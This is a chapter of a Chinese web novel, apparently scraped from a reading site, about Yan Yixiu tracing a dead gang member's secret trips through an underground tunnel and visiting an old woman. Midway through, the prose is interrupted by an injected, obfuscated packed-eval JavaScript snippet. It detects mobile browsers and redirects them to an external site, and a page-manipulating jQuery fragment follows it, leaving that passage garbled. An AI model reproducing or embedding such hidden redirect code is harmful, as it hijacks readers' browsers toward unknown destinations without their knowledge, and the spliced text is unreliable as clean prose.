几秒钟的时间而已,原本充满活力的一个人就这么失去生机,长眠不醒。 卫崧的表情也随之有了变化,眉头越皱越紧。 奇怪,他总觉得这一幕有点眼熟,说不上来是什么感觉。 在哪见过? 监控上时间的数字不断变化着,时间转眼流逝而过,另一边的燕逸岫也结束了询问。 戒指之事完全是燕逸岫瞎编,自然不可能问出什么名堂来,因此虽然她已经收集齐阿奇行踪线索完成了任务,还要继续演着沮丧失落的状态。 她先前胡乱抓撩起的刘海还有一撮没服帖落回去,一直翘在左侧,走路时随着步伐神气地摇晃,而现在则蔫了似的弯下来搭在发上。 严睢盯着它移不开眼,手差点就鬼使神差伸过去想把那撮顺下来,还好最后控制住自己没有抬起胳膊。 “别哭丧个脸了,”严睢两手背到身后扣住,率先迈步往外走,语气略冲,“我会帮你留意的,有消息再通知你。” 燕逸岫小心翼翼抬眼瞄他,怯生生再问一遍确认:“真的吗?” 严睢很不耐烦地点头。 “谢谢严长官!” 严睢板起脸做好准备,莫名有些紧张,思考着怎么打开“宙”才更自然。 然而过了好一会,他预想的场景都没展开。 见对方迟迟没动静,他不禁无语凝噎,内心挣扎十几秒后认了栽,别开脸低声含糊补上一句:“你没给我联系方式我怎么通知你。” 正出神盘算着接下来行动计划的燕逸岫感受到这几个字如微风掠过似的从耳边一晃而过,若非她听力敏锐,差点就捕捉不清。 “哦哦哦对。” 燕逸岫才反应过来,立刻打开芯片出示联系方式让他扫描感应,边笑眯眯说道:“那就麻烦你了!我过几天有空再来地下城,如果找回了戒指我一定请长官吃饭好好感谢。” 严睢扫描完添加好友,手指在“宙”上划动备注名字,无动于衷地瞧她一眼,冷哼出声:“不稀罕,别掺和进帮派争斗里让我多加班我就谢天谢地了。” 燕逸岫睁大双眼嗖的一下举手发誓:“我会当守法好公民的!” 这会儿两人走到十字路口,差不多到了分别的时候。 燕逸岫扬着灿烂笑容打声招呼,没等对方作出反应就转身自个儿走远了,脚步轻快,那撮翘起的刘海又开始飘扬跳动,替她挥手。 严睢伫立原地。 他的意识一直在发出警告,万一燕逸岫回头瞧见他停在原地目送她,指不定要误会什么然后张嘴乱说话来气人。 这一可怕的想法让严睢紧张不安,却又莫名忍不住非要以身犯险,直到那道身影安全穿过马路,他才被吵个不停的警告强拽着移开目光转过身,继续今天的巡视工作。 他越走越快,像在逃命。这会儿才开始后怕,担心燕逸岫发现自己还在这里。 另一头同样独自前行的燕逸岫则逐渐放慢脚步,表情慢回弹般一点点恢复平日的半死不活,几乎是飘着前进,脚步虚浮,心如死水。 装e太累了,说了好多话,掐着平常不会用的语调,摆了好多平常不会做的表情,感觉身体被掏空。 她需要睡眠和双倍的独处时间来恢复精神,但时间尚早,她还要其它事情要抓紧时间处理,没法躺平。 芯片中没有任何记录痕迹,阿奇那一天是怎么往返的? 燕逸岫想到了一个地方。 她能感受得到严睢的谨慎和怀疑,因此她有意避开监控,七拐八弯来到教堂外。 熟悉的身影已经倚在门口等着了。 虞瓷的资料廖怀霖重新查了一遍,可惜还是没有多少新发现。 虞瓷最初是父母带大,过得很不好。那两人经常丢孩子一个人在家,自己出去逍遥挥霍。 好心邻居报过警,然而警察的介入也没让两人悔过,反而索性带着年幼的虞瓷一起频频消失,一过就是好几天、好几周才回来,最久一次长达两个月。 也正是在这之后不久,虞瓷父母卷铺盖卷钱离开了,再未出现,生死不明。 四岁的虞瓷被丢给姥姥虞世青,两人在温饱线上挣扎,在艰难的漫长时光里相依为命,直到长大的虞瓷主动离家搬进地下城。 被人一路盯着很不习惯,最后一段距离燕逸岫改为小跑,加快速度来到虞瓷面前。 虞瓷已经恢复了往日的神采奕奕,丹凤眼扬着带笑的角度,燕逸岫也不提前些天的事情,两人都假装忘记了那段回忆,聊着别的事一起来到了地下通道前。 “虽然这里头是自己人的地盘,但我并没有天天来,所以也不太确定有没有被外人发现。” 燕逸岫从口袋里掏出多功能仪调到荧光扫描功能,边说道:“地下城这么大,想开条秘密通道去地上应该有很多地方可以挖吧?” “不一定,”虞瓷摇头,“既然要严格管束地下城公民,当然会把好关不让人有机可乘。” 好不好挖是一回事,还要考虑出口隐蔽性。会不会被别人看到、会不会有监控。 “我们这条地道可是好不容易才挖成的。” “对了,你们和地虎帮关系如何?” 虞瓷想了想,觉得没多少形容词描述:“就那样吧,没什么冲突,有些人我们认识。” “阿奇你知道吗?” “有点耳熟……阿奇?哦等等,他是阿双的小男友啊,前几个月已经去世了,怎么突然问起他?” 燕逸岫挑挑拣拣把能透露的部分告诉她,虞瓷听得眉头直皱,马上联系了阿双,扯了个谎问到这一点。 结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321158|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实是阿双泄露出去的。她坦白之前和阿奇喝酒喝得醉昏头,大半夜直接带他走秘密通道去地面上爬山看真的星空。 第二天酒醒后她千叮咛万嘱咐让阿奇不能说出去。 “我检查一遍,顺便从这儿回家了,”燕逸岫半边身体踏进通道里,披着半件阴影回头看向虞瓷,“要一起吗?回去看望看望你姥姥?” 抱臂歪歪站着的虞瓷笑了声,伸出一边手把她往里推,示意她赶紧走。 燕逸岫抿嘴弯出向下的弧度:“好吧,那再见了,之后处理阿连的事时我再来打扰你。” “好,再见。” 她完全走进通道里后,虞瓷摆摆手帮她合上遮挡物。 光线一点点消失,背光站着的虞瓷一点点消失在移动的遮挡物后,那张浓秀的脸也被阴影完全覆盖,被盖上块黑布似的,看不出五官和起伏。 通道口被彻底堵上后,燕逸岫闭着眼打开灯,随后睁眼一寸寸扫描四周。 在荧光灯照射下,密密麻麻的指纹和脚印显现而出。 燕逸岫往前走了几步又停下,转头迟疑望着洞口方向。 虞瓷还站在原地还没离开。 思索几秒,燕逸岫还是决定假装不知道,等她自己做好决定做好准备。 荧光灯将照出的指纹和脚印同时扫描上传,与阿奇档案里的数据进行比对,最后匹配出五道属于他的日期不同的脚印。 如今没人清楚阿奇有没有泄密,但至少他记住了这条通道并背着她们偷偷使用过数次。 燕逸岫从井口爬出回到地面后先蹲在墙边清理粘在裤脚上的鬼针草,随后去探望虞阿婆。 虞阿婆仍然是那副生人勿近的神情,看清门外人长相后动了动嘴唇:“是你啊,小妹。” “您还记得我?”燕逸岫有些惊讶。 在她印象里自己好像从不会被有过一面之缘的人认出。认识的人都时常会忘记她的存在,更不用说陌生人。 虞世青冷哼:“这村里就那几个还住着,那些不知道从哪冒出来的混混又不会来看我,我只见过你一个外人,当然记得,我还没老年痴呆呢。” 燕逸岫挠着脸嘿嘿笑,努力摆出亲切热络的状态和她聊了几句,告诉她虞瓷看起来挺好的,精神抖擞,面色红润,气血很足。 虽然对方没有任何表情变化,但燕逸岫知道她有心在听,便说得更详细些。 报完平安,燕逸岫转而说起自己感兴趣的事:“您刚才提到混混,那些人现在还会出现是吗?” “是啊,吵得要死。” 燕逸岫握紧拳头探身靠近,满脸真诚地小心翼翼问道:“那个……我想请您帮个忙,不知道可不可以……” 闻言,虞世青眯起她那双浑浊的眼,眸中微光一动。 半小时后燕逸岫离开寂静的边缘地区回到喧闹世界,也发信息对虞瓷说了虞阿婆的情况,边一路赶回基地。 回到熟悉的环境,终于觉得轻松不少。 进入大厅后她第一个碰见的是刚从训练室下来的卫崧。 “你回来了啊。”卫崧立马转了脚步朝她走来,目光更亮。 他本想分享自己有所进步的训练成绩求表扬鼓励,这时注意到了燕逸岫的刘海,走近后先抬手指了指:“逸岫你的头发翘起来了。” “像一边兔耳朵……” 想了想,他把最后一句咽回去了,借笑声掩盖住,随后说起正事:“阿奇的行踪还在查,另外现在有新线索了。” 没有镜子照,燕逸岫就抬手随意拨拉几下刘海:“哪个案子的?” “日月。”